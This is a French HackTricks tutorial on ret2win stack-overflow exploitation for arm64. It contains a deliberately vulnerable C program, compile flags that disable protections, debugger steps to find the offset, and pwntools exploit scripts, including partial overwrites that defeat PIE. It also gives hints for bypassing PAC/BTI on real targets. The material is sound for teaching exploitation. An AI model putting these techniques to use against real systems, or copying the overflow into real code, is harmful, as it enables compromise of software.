Ret2win - arm64
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Trouvez une introduction à arm64 dans :
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compiler sans pie et canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Le drapeau supplémentaire
-mbranch-protection=none
désactive AArch64 Branch Protection (PAC/BTI). Si votre chaîne d'outils active par défaut PAC ou BTI, cela permet de garder le labo reproductible. Pour vérifier si un binaire compilé utilise PAC/BTI, vous pouvez : - Cherchez les propriétés GNU AArch64 :
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
- Inspectez les prologues/épilogues pour
paciasp
/autiasp
(PAC) ou pour des landing padsbti c
(BTI) : objdump -d ret2win | head -n 40
Faits rapides sur la convention d'appel AArch64
- Le registre de lien est
x30
(a.k.a.lr
), et les fonctions sauvegardent typiquementx29
/x30
avecstp x29, x30, [sp, #-16]!
et les restaurent avecldp x29, x30, [sp], #16; ret
. - Cela signifie que l'adresse de retour sauvegardée se trouve à
sp+8
relative à la base de frame. Avec unchar buffer[64]
placé en dessous, la distance d'écrasement habituelle vers lex30
sauvegardé est de 64 (buffer) + 8 (x29 sauvegardé) = 72 octets — exactement ce que nous trouverons ci‑dessous. - Le pointeur de pile doit rester aligné sur 16 octets aux frontières de fonction. Si vous construisez des ROP chains plus tard pour des scénarios plus complexes, conservez l'alignement du SP sinon vous pourriez planter sur les épilogues de fonction.
Trouver l'offset
Option pattern
Cet exemple a été créé en utilisant GEF:
Démarrez gdb avec gef, créez le pattern et utilisez‑le :
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 va essayer de retourner à l'adresse contenue dans le registre x30 (qui a été compromis), nous pouvons utiliser cela pour trouver le pattern offset :
pattern search $x30
.png)
L'offset est 72 (9x48).
Stack offset option
Commencez par obtenir l'adresse de la stack où le registre pc est stocké:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Placez maintenant un breakpoint après le read()
et continuez jusqu'à l'exécution du read()
, puis définissez un pattern tel que 13371337 :
b *vulnerable_function+28
c
.png)
Trouvez où ce motif est stocké en mémoire :
.png)
Ensuite : 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Régulier
Obtenir l'adresse de la fonction win
:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
En réalité, il s'agit plutôt d'un off-by-2 dans le PC stocké sur la stack. Au lieu d'écraser l'intégralité du return address, nous allons écraser seulement les 2 derniers octets avec 0x06c4
.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Vous pouvez trouver un autre exemple off-by-one sur ARM64 à https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, qui est un vrai off-by-one dans une vulnérabilité fictive.
Avec PIE
tip
Compilez le binaire sans l'argument -no-pie
Off-by-2
Sans leak nous ne connaissons pas l'adresse exacte de la fonction win mais nous pouvons connaître l'offset de la fonction dans le binaire et, sachant que l'adresse de retour que nous écrasons pointe déjà vers une adresse proche, il est possible de leak l'offset vers la fonction win (0x7d4) dans ce cas et d'utiliser simplement cet offset :
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Notes sur le durcissement moderne AArch64 (PAC/BTI) et ret2win
- Si le binaire est compilé avec AArch64 Branch Protection, vous pouvez voir
paciasp
/autiasp
oubti c
émis dans les prologues/épilogues de fonction. Dans ce cas : - Le retour vers une adresse qui n'est pas un BTI landing pad valide peut provoquer un
SIGILL
. Préférez cibler l'entrée exacte de la fonction qui contientbti c
. - Si PAC est activé pour les retours, des overwrites naïfs de l'adresse de retour peuvent échouer parce que l'épilogue authentifie
x30
. Pour des scénarios d'apprentissage, recompilez avec-mbranch-protection=none
(montré ci‑dessus). Lors d'attaques sur des cibles réelles, privilégiez des détournements sans retour (par ex., overwrite de pointeurs de fonction) ou construisez un ROP qui n'exécute jamais une paireautiasp
/ret
qui authentifie votre LR forgé. - Pour vérifier rapidement les features :
readelf --notes -W ./ret2win
et cherchez les notesAARCH64_FEATURE_1_BTI
/AARCH64_FEATURE_1_PAC
.objdump -d ./ret2win | head -n 40
et cherchezbti c
,paciasp
,autiasp
.
Exécution sur hôtes non‑ARM64 (astuce rapide qemu‑user)
Si vous êtes sur x86_64 mais voulez vous entraîner sur AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Pages HackTricks associées
Ret2syscall - ARM64
Références
- Activation de PAC et BTI sur AArch64 pour Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Standard d'appel de procédures pour l'architecture Arm 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.